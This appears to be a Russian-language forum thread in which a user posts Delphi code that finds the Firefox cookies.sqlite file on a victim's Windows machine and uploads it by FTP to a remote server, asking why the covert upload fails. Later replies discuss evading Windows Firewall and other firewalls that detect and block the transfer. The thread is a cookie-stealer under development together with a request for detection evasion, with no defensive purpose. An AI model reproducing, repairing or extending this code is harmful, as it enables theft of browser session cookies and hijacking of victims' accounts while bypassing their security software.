procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc,startdir, TMP_FILE:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Firefox,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
if FileExists(Firefox) then
begin
AssignFile(f,Firefox);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
// отправка на сервер
with IdFTP1 do try
IdFTP1.Username:='Login';
IdFTP1.Password:='pass';
IdFTP1.Host:='ftp';
Connect;

finally
if IdFTP1.Connected
then
try
IdFTP1.Put(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite','',false);
finally
if IdFTP1.Connected then
IdFTP1.Disconnect;
end;
end;
end;
end;

end.


Вот код, по идеи должны отправляться куки с компьюттера на фтп, но увы, в чем ошибка(а она есть )

Понимаешь программирование такая штука что тут надо варить своей головой и смыслить что ты пишешь

Это пример кода с одним юзером...
Мы тут узнаем самого юзера фаерфокса
Вообщем пробуй! Если что не выйдет - подскажу

wolmer понимаешь ээто должно происходить скрытно, сижу мучаюсь уже с утра, и не отправляет он куки, хотя другие файлы(если укажу путь) отправляет

Твоя задача обойти Windows Firewall и другие?

Fliplab найти и отправить куки удалось, но палят отправку (и блокируют) фаерволы, не знаешь как это обойти?

страннно, но я это всё выкладывал(но раз лень искать)

Спасибо за помощь, искал не нашел(плохо искал значит)